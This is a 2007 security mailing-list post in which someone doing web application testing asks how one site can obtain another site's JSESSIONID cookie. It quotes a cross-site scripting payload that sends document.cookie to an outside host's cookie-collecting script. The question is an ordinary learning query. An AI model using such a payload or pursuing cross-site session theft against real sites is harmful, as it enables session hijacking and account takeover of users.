Security Basics mailing list archives

Getting cookies


From: "Mac Mohan" <security.mac () gmail com>
Date: Wed, 24 Jan 2007 09:23:57 +0530

Hi

I am trying to do the application security of a web site. Apart from that, i
am trying to learn how things work actually. Kindly help me.

Let's say two sites are opened in IE. I would like to get the cookies of
Site A after opening a page in Site B.

Please let me know how to get the JSESSIONID value of the web site from
another totally different web site.

I know the way to get the cookies of a page from cross site scripting of the
page through

<script>document.location='http://www.cgisecurity.com/cgi-bin/cookie.cgi?&apos;
+document.cookie;</script>

but dont know how to get cookies of one site from another site...

Is this possible?

Kindly let me know

-thanks 'n' regards
Mac


Current thread: